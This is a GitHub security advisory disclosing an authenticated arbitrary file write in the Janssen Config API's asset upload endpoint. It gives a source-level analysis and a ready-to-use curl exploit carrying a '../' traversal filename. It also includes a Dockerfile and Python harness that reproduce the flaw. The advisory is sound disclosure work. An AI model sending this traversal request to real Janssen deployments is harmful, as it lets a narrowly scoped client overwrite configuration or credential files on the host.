Skip to main content
Menu
Advisories

Authenticated Arbitrary File Write via Asset Filename Path Traversal in Jans Config API (CWE-22)

GHSA-X5HM-3P7Q-J79XPublished Updated GitHub

Description

Authenticated Arbitrary File Write via Asset Filename Path Traversal in Jans Config API (CWE-22)

Summary

The Jans Config API's asset management feature (POST /api/v1/jans-assets/upload) accepts an attacker-controlled Document.fileName value from the multipart upload request and never sanitizes it for path traversal sequences. The unsanitized filename is persisted to the backing store and later consumed by DocumentStoreManager.saveDocument(), which builds the destination path with Paths.get(document.getFilePath(), document.getFileName()) and writes attacker-supplied bytes to it via FileOutputStream, with no normalize()/containment check. An authenticated caller holding only the narrow https://jans.io/oauth/config/asset.write OAuth scope (not full super-admin access) can therefore write or overwrite arbitrary files anywhere the Config API process has filesystem permissions, by supplying a filename such as ../../../../../../tmp/evil.properties. This is a high-severity (CVSS 3.1 base score 8.8) trust-boundary violation: a scope intended to be limited to writing files inside a configured asset directory instead grants arbitrary host file write/overwrite.

Details

Entry point: POST /api/v1/jans-assets/upload, exposed by AssetResource (jans-config-api/server/src/main/java/io/jans/configapi/rest/resource/auth/AssetResource.java:322-354), protected by @ProtectedApi(scopes = {ASSET_WRITE_ACCESS}). This scope corresponds to https://jans.io/oauth/config/asset.write, a scoped asset-management permission distinct from full administrative/host access. The feature is enabled by default (assetMgtEnabled: true in the default dynamic-conf.json template).

Source: In AssetResource.uploadAsset() the multipart Document is deserialized from client input and only checked for a non-null fileName (checkNotNull(asset.getFileName(), "fileName")) before being handed to assetService.saveAsset(asset, assetStream, false) (AssetResource.java:333,336,345,354).

Missing sanitization: AssetService.saveAsset() calls validateModules(), validateAssetMetadata(), and validateFileExtension() (jans-config-api/server/src/main/java/io/jans/configapi/service/auth/AssetService.java:173-177, 518-548). These checks only validate the declared service module name and the file extension (via FilenameUtils.getExtension()); none of them extract a basename, reject .. segments, or verify the resulting path stays within the configured asset directory. The destination directory itself is computed safely from a fixed template (String.format(dirMapping, serviceModule) at AssetService.java:482), but the attacker-controlled fileName is carried through unmodified and persisted to the document's storage entry (LDAP/DB) at AssetService.java:390-396.

Sink: The asset entry is later picked up by DocumentStoreManager, whose periodic reload timer (registered from AppInitializer.loadCustomAsset() at jans-config-api/server/src/main/java/io/jans/configapi/configuration/AppInitializer.java:255-263, firing every 30 seconds) invokes updateDocuments() → saveDocument(). In jans-core/document-store/src/main/java/io/jans/service/document/store/manager/DocumentStoreManager.java:238-243:

Path path = Paths.get(document.getFilePath(), document.getFileName());
File file = path.toFile();
try (OutputStream os = new BufferedOutputStream(new FileOutputStream(file))) {
    ...
}

Paths.get() performs no normalization or containment enforcement, so a fileName of ../../../../../../tmp/evil.properties resolves outside document.getFilePath() (the configured asset directory, e.g. /opt/jans/jetty/jans-config-api/custom/i18n) and the OS writes the attacker's content to the escaped, attacker-chosen absolute location.

The default setup template (jans-linux-setup/jans_setup/templates/jans-config-api/dynamic-conf.json:116-121) has assetMgtEnabled, fileExtensionValidationEnabled, and moduleNameValidationEnabled all set to true out of the box, and .properties is among the default allowed extensions, so no non-default configuration is required to exploit this.

PoC

Both static review (Phase 1) and an independent dynamic reproduction (Phase 2) confirmed this vulnerability.

Live exploitation (as an attacker would perform it):

# Requires a bearer token with scope https://jans.io/oauth/config/asset.write
printf 'jans-path-traversal\n' > /tmp/poc.properties

curl -k -X POST 'https://TARGET/jans-config-api/api/v1/jans-assets/upload' \
  -H "Authorization: Bearer $TOKEN" \
  -F 'document={"fileName":"../../../../../../tmp/jans-afw.properties","service":"jans-config-api","enabled":true,"level":1,"revision":1};type=application/json' \
  -F 'assetFile=@/tmp/poc.properties;type=application/octet-stream'

After the next DocumentStoreManager reload cycle (≤30s), the Config API host will contain /tmp/jans-afw.properties with content jans-path-traversal, outside the configured asset directory.

Dynamic reproduction performed for this review:

The unmodified, real vulnerable source files from the cloned repository — DocumentStoreManager.java (the CWE-22 sink) and its direct transitive dependencies (Document.java, DocumentStoreType.java, ReloadDocument.java, UpdateDocumentStoreEvent.java, CDI/timer/ORM support classes) — were copied verbatim into a Docker build context (vuln-001/Dockerfile) and compiled together with a small local test double (harness/DocumentStoreService.java) that stands in only for the LDAP/DB-backed document lookup collaborator (out of scope for reproducing the file-write sink itself). A reflection-based driver (harness/PocHarness.java, invoked via poc.py) called the real, private saveDocument(Document) method directly with:

  • Document.filePath = /opt/jans/jetty/jans-config-api/custom/i18n (matching the default template's configured asset directory)
  • Document.fileName = ../../../../../../tmp/jans-afw-poc.properties (an attacker-controlled value exactly as it would arrive through the REST upload)

Steps to reproduce:

# from the report root (parent of both repo/ and vuln-001/)
python3 vuln-001/poc.py

This runs, in order:

docker build -f vuln-001/Dockerfile -t vuln-001-poc:latest .
docker run --rm --name vuln-001-poc-run vuln-001-poc:latest

Observed result: the container's stdout confirmed FilenameUtils.getExtension() returned properties (i.e., the same extension check AssetService.validateFileExtension() relies on treats this traversal filename as a normal, allowed file), and that /tmp/jans-afw-poc.properties was created outside the configured asset directory with the exact attacker-supplied content JANS-VULN-001-PATH-TRAVERSAL-POC:

POC_RESULT=PASS: DocumentStoreManager.saveDocument() wrote attacker-controlled content to
/tmp/jans-afw-poc.properties, which is outside the configured asset directory
/opt/jans/jetty/jans-config-api/custom/i18n. CWE-22 arbitrary file write confirmed dynamically.

The real DocumentStoreManager code itself logged (stderr):

[main] INFO io.jans.service.document.store.manager.DocumentStoreManager - Writing file ../../../../../../tmp/jans-afw-poc.properties as stream
[main] INFO io.jans.service.document.store.manager.DocumentStoreManager - File ../../../../../../tmp/jans-afw-poc.properties was created successfully

The run was repeated twice independently and produced POC_RESULT=PASS deterministically both times. No repository source file was modified (verified via git status/mtime comparison before and after the build).

Impact

This is an arbitrary file write / path traversal (CWE-22) vulnerability. Any authenticated OAuth client holding only the https://jans.io/oauth/config/asset.write scope — a scope intended to be limited to uploading assets into a fixed, configured directory — can instead write or overwrite arbitrary files anywhere writable by the Jans Config API process user. Depending on deployment, this can lead to:

  • Overwriting configuration, credential, or i18n/resource-bundle files used by the Config API or co-located services.
  • Planting files in locations that are subsequently loaded/executed by other components (potential path to remote code execution depending on what is writable/executable on the host).
  • Denial of service by corrupting critical files.

The confidentiality/integrity/availability impact is High per the CVSS vector, and the low attack complexity (a single crafted multipart request, no user interaction) makes this readily exploitable by any party that has obtained the narrow asset-write scope, which is a materially lower bar than full administrative/host access.

Reproduction artifacts

Dockerfile

# VULN-001 dynamic PoC image.
#
# This image compiles and executes the REAL, unmodified source files copied verbatim from
# the cloned JanssenProject/jans repository (path traversal sink) together with a small,
# clearly-labeled local test double (harness/DocumentStoreService.java) that stands in for
# the real LDAP/DB-backed collaborator, since standing up the full Janssen Auth Server +
# LDAP + Jetty stack is out of scope for reproducing this CWE-22 file-write sink.
#
# Build context MUST be the report root directory (the parent of both "repo" and
# "vuln-001"), e.g.:
#   docker build -f vuln-001/Dockerfile -t vuln-001-poc .
# run from reports/github_web_576_JanssenProject__jans
#
# None of the files under repo/ are modified by this Dockerfile; they are only copied
# read-only into the image and compiled as-is.

FROM maven:3.9.9-eclipse-temurin-17

WORKDIR /work

# ---- Resolve third-party dependency jars from Maven Central only (no GitHub Packages) ----
COPY vuln-001/harness/pom-deps.xml /work/deps/pom.xml
RUN mvn -q -f /work/deps/pom.xml dependency:copy-dependencies -DoutputDirectory=/work/libs

# ---- Copy the REAL, unmodified vulnerable source file (the CWE-22 sink) ----
COPY repo/jans-core/document-store/src/main/java/io/jans/service/document/store/manager/DocumentStoreManager.java \
     /work/src/io/jans/service/document/store/manager/DocumentStoreManager.java

# ---- Copy the REAL, unmodified transitive source files it depends on ----
COPY repo/jans-core/document-store/src/main/java/io/jans/service/document/store/model/Document.java \
     /work/src/io/jans/service/document/store/model/Document.java
COPY repo/jans-core/document-store/src/main/java/io/jans/service/document/store/conf/DocumentStoreType.java \
     /work/src/io/jans/service/document/store/conf/DocumentStoreType.java
COPY repo/jans-core/document-store/src/main/java/io/jans/service/document/store/service/cdi/event/ReloadDocument.java \
     /work/src/io/jans/service/document/store/service/cdi/event/ReloadDocument.java
COPY repo/jans-core/document-store/src/main/java/io/jans/service/document/store/service/cdi/event/UpdateDocumentStoreEvent.java \
     /work/src/io/jans/service/document/store/service/cdi/event/UpdateDocumentStoreEvent.java
COPY repo/jans-core/cdi/src/main/java/io/jans/service/cdi/async/Asynchronous.java \
     /work/src/io/jans/service/cdi/async/Asynchronous.java
COPY repo/jans-core/cdi/src/main/java/io/jans/service/cdi/event/Scheduled.java \
     /work/src/io/jans/service/cdi/event/Scheduled.java
COPY repo/jans-core/cdi/src/main/java/io/jans/service/timer/event/TimerEvent.java \
     /work/src/io/jans/service/timer/event/TimerEvent.java
COPY repo/jans-core/cdi/src/main/java/io/jans/service/timer/schedule/TimerSchedule.java \
     /work/src/io/jans/service/timer/schedule/TimerSchedule.java
COPY repo/jans-core/util/src/main/java/io/jans/util/StringHelper.java \
     /work/src/io/jans/util/StringHelper.java
COPY repo/jans-orm/model/src/main/java/io/jans/orm/model/base/Entry.java \
     /work/src/io/jans/orm/model/base/Entry.java
COPY repo/jans-orm/annotation/src/main/java/io/jans/orm/annotation/AttributeName.java \
     /work/src/io/jans/orm/annotation/AttributeName.java
COPY repo/jans-orm/annotation/src/main/java/io/jans/orm/annotation/ObjectClass.java \
     /work/src/io/jans/orm/annotation/ObjectClass.java
COPY repo/jans-orm/annotation/src/main/java/io/jans/orm/annotation/DataEntry.java \
     /work/src/io/jans/orm/annotation/DataEntry.java
COPY repo/jans-orm/annotation/src/main/java/io/jans/orm/annotation/DN.java \
     /work/src/io/jans/orm/annotation/DN.java

# ---- Local PoC harness code (test double + driver), NOT part of the repository ----
COPY vuln-001/harness/DocumentStoreService.java \
     /work/src/io/jans/service/document/store/service/DocumentStoreService.java
COPY vuln-001/harness/PocHarness.java \
     /work/src/poc/PocHarness.java

RUN find /work/src -name "*.java" > /work/sources.txt \
    && mkdir -p /work/out \
    && javac -cp "/work/libs/*" -d /work/out @/work/sources.txt

ENTRYPOINT ["java", "-cp", "/work/out:/work/libs/*", "poc.PocHarness"]

poc.py

#!/usr/bin/env python3
"""
VULN-001 dynamic PoC driver.

Builds the vuln-001 Docker image and runs it. The container compiles and executes the
REAL, unmodified io.jans.service.document.store.manager.DocumentStoreManager.java sink
copied verbatim from the cloned JanssenProject/jans repository, feeds it a
Document.fileName containing a "../" path traversal sequence exactly as an attacker
would submit through POST /jans-config-api/api/v1/jans-assets/upload, and checks whether
the resulting file lands outside the configured asset directory
(/opt/jans/jetty/jans-config-api/custom/i18n), matching the default template in
jans-linux-setup/jans_setup/templates/jans-config-api/dynamic-conf.json.

The container prints a line starting with "POC_RESULT=PASS" or "POC_RESULT=FAIL" to
stdout; this script builds the image, runs the container, greps for that marker, and
exits 0/1 accordingly.

Only local Docker and 127.0.0.1-scoped resources are used. No live external service is
contacted, no destructive host operation is performed, and no repository source file is
modified -- see Dockerfile comments for exactly which real repo files are copied
unmodified into the image.

Usage:
    python3 poc.py
"""

import subprocess
import sys
from pathlib import Path

REPORT_ROOT = Path(__file__).resolve().parent.parent  # .../github_web_576_JanssenProject__jans
DOCKERFILE = Path(__file__).resolve().parent / "Dockerfile"
IMAGE_TAG = "vuln-001-poc:latest"
CONTAINER_NAME = "vuln-001-poc-run"


def run(cmd, **kwargs):
    print(f"+ {' '.join(cmd)}")
    return subprocess.run(cmd, cwd=str(REPORT_ROOT), text=True, capture_output=True, **kwargs)


def main():
    print("== [1/3] docker build ==")
    build = run(["docker", "build", "-f", str(DOCKERFILE), "-t", IMAGE_TAG, "."])
    print(build.stdout[-4000:])
    if build.returncode != 0:
        print(build.stderr[-4000:])
        print("POC_DRIVER_RESULT=FAIL: docker build failed")
        sys.exit(1)

    print("== [2/3] docker run ==")
    run(["docker", "rm", "-f", CONTAINER_NAME])  # best-effort cleanup of a stale container
    exec_run = run(["docker", "run", "--rm", "--name", CONTAINER_NAME, IMAGE_TAG])
    stdout = exec_run.stdout
    stderr = exec_run.stderr
    print(stdout)
    if stderr.strip():
        print("--- stderr ---")
        print(stderr)

    print("== [3/3] verdict ==")
    if "POC_RESULT=PASS" in stdout:
        pass_line = [l for l in stdout.splitlines() if l.startswith("POC_RESULT=PASS")][0]
        print(pass_line)
        print("POC_DRIVER_RESULT=PASS")
        sys.exit(0)
    else:
        fail_lines = [l for l in stdout.splitlines() if l.startswith("POC_RESULT=FAIL")]
        if fail_lines:
            print(fail_lines[0])
        print("POC_DRIVER_RESULT=FAIL")
        sys.exit(1)


if __name__ == "__main__":
    main()

Affected versions

References

GitHub · JanssenProject/jans